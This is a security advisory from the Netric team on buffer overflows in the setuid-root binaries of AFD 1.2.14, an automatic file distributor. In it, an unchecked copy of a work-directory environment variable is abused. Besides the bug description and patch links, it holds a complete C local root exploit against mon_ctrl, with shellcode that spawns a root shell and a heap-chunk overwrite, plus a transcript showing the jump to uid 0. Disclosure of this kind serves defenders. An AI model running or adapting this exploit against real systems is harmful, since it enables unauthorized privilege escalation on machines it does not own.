AFD v1.2.14 and below contains locally exploitable stack and heap overflows. Linux is verified to be vulnerable, other platforms are probably affected.
a980ba6ec8ed5d47bd0268e3701acab4f5636c2ef1af109cb0b08737c843510b
Netric Security Team - http://www.netric.[org|be]
By Netric
AFD 1.2.14 multiple local root exploits
type: stack and heap overflows
Priority: 5
[1] Description
[2] Vulnerable
[3] Exploit
[4] Proof of concept
[5] Vendor response
[6] Patches
[1] Description
The Automatic File Distributor provides a framework for very flexible, non-stop,
log and debug-able delivery of an arbitrary amount of files to multiple recipients
as expressed in URLs.
The AFD package comes with a few sources that once compiled and installed are set
uid root by default.
amough other vulnerabilities, in the beginning of most of these programs a directory
is needed. it can be supplied with a command line switch (-w) or an environ variable.
the exploitable code for most looks like :
#define MON_WD_ENV_NAME "MON_WORK_DIR" /* Environment variable */
#define WD_ENV_NAME "AFD_WORK_DIR" /* The working dir- */
...
/* work_dir is global in some sources, local in other sources */
char work_dir[MAX_PATH_LENGTH];
...
int
main(int argc, char *argv[])
{
...
/* work_dir is global in some sources, local in other sources */
char work_dir[MAX_PATH_LENGTH];
...
/* might call some other function that then calls this function */
if (get_XXX_path(&argc, argv, work_dir) < 0)
{
exit(INCORRECT);
}
...
}
/* the XXX is either 'mon' or 'afd' */
/* this function is in another file then main() is */
get_XXX_path(int *argc, char *argv[], char *work_dir)
{
...
char *ptr;
/* Check if the environment variable is set */
/* if ((ptr = getenv(MON_WD_ENV_NAME)) != NULL) <-- can also be this */
if ((ptr = getenv(WD_ENV_NAME)) != NULL)
{
/* !!!!! THIS IS WHERE ALL THE ACTION TAKES PLACE !!!!! */
(void)strcpy(work_dir, ptr);
}
...
}
as you can see the buffer work_dir gets overflowed, and a stack or heap overflow
occurs (depends if work_dir is global or local). With some of the binarys it's
possible to cause the same overflow with the command line switch -w, but in other
binarys that length gets checked.
the following is a listing of the vulnerable suid binarys, and if they are exploitable
with the environ varibles and/or the -w command line switch :
name -w switch env. var
afd NO YES
afdcmd NO YES
afd_ctrl NO YES
init_afd NO YES
mafd YES YES
mon_ctrl YES YES
show_olog NO YES
udc NO YES
[2] Vulnerable
the AFD site says that AFD works on the following :
version vulnerable exploitable
* Linux 1.3.x - 2.4.x YES YES
* Solaris 2.x probably (not tested) probably (not tested)
* HP-UX 10.x - 11.x probably (not tested) probably (not tested)
* IRIX 5.3 6.x probably (not tested) probably (not tested)
* AIX 4.3 probably (not tested) probably (not tested)
* FTX 3.0.x 3.2.x probably (not tested) probably (not tested)
* SCO OpenServer Release 5 probably (not tested) probably (not tested)
this vulnerability was discovered in the AFD 1.2.14 package but previous versions
are probably vulnerable too.
[3] Exploit
The following exploit was tested in a lab and will probably not work without
any tweaking. it was tested agains mon_ctrl in the AFD 1.2.14 package on redhat 7.3.
<--> BEGIN OF FILE <-->
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[] =
"\xeb\x0a" /* 10-byte-jump; setreuid(0,0); execve /bin/sh; exit(0); */
"--netric--"
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f"
"\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8d\x54\x24\x08\x50\x53\x8d"
"\x0c\x24\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";
int
main(int argc, char *argv[])
{
char buffer[1135];
unsigned int retloc = 0xbfffe360;
unsigned int ret = 0x0806f020; /* &shellcode */
if (argc > 1) retloc = strtoul(argv[1], &argv[1], 16);
if (argc > 2) ret = strtoul(argv[2], &argv[2], 16);
memset(buffer, 0x41, sizeof(buffer));
memcpy(buffer, "MON_WORK_DIR=",13);
memcpy(buffer+13, shellcode, strlen(shellcode));
buffer[1117] = 0xff; /* prev_size */
buffer[1118] = 0xff;
buffer[1119] = 0xff;
buffer[1120] = 0xff;
buffer[1121] = 0xfc; /* size field */
buffer[1122] = 0xff;
buffer[1123] = 0xff;
buffer[1124] = 0xff;
buffer[1126] = (retloc & 0x000000ff); /* FD */
buffer[1127] = (retloc & 0x0000ff00) >> 8;
buffer[1128] = (retloc & 0x00ff0000) >> 16;
buffer[1129] = (retloc & 0xff000000) >> 24;
buffer[1130] = (ret & 0x000000ff); /* BK */
buffer[1131] = (ret & 0x0000ff00) >> 8;
buffer[1132] = (ret & 0x00ff0000) >> 16;
buffer[1133] = (ret & 0xff000000) >> 24;
buffer[1134] = 0x0;
putenv(buffer);
fprintf(stdout, "AFD 1.2.14 local root exploit by eSDee of Netric (www.netric.org)\n");
fprintf(stdout, "-----------------------------------------------------------------\n");
fprintf(stdout, "Ret = 0x%08x\n", ret);
fprintf(stdout, "Retloc = 0x%08x\n", retloc);
execl("/bin/mon_ctrl", "mon_ctrl", NULL);
return 0;
}
<--> END OF FILE <-->
[4] Proof of concept
[eSDee@/ bin]$ id
uid=502(eSDee) gid=500(trusted) groups=500(trusted)
[eSDee@/ bin]$ ./afd-expl
AFD 1.2.14 local root exploit by eSDee of Netric (www.netric.org)
-----------------------------------------------------------------
Ret = 0x0806f020
Retloc = 0xbfffe360
28 17:32:12 <E> Failed to create directory <ë
--netric--1Û1É÷ã°FÍShn/shh//biãRSá°
ÍAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAA
....
ectory (check_dir.c 66)
sh-2.05a# id
uid=0(root) gid=500(trusted) groups=500(trusted)
sh-2.05a# exit
[5] Vendor response
We got a reply from the vendor within 1 week that patches were made.
[6] Patches
There is a new version released of afd (1.2.15) which can be
downloaded from :
[source] ftp://ftp.dwd.de/pub/afd/src-1.2.15.tar.bz2
[rpm ] ftp://ftp.dwd.de/pub/afd/rpm/afd-1.2.15-2.i386.rpm
there is also a patch released for version 1.2.14 which can be found on :
[patch ] ftp://ftp.dwd.de/pub/afd/patch-1.2.15.bz2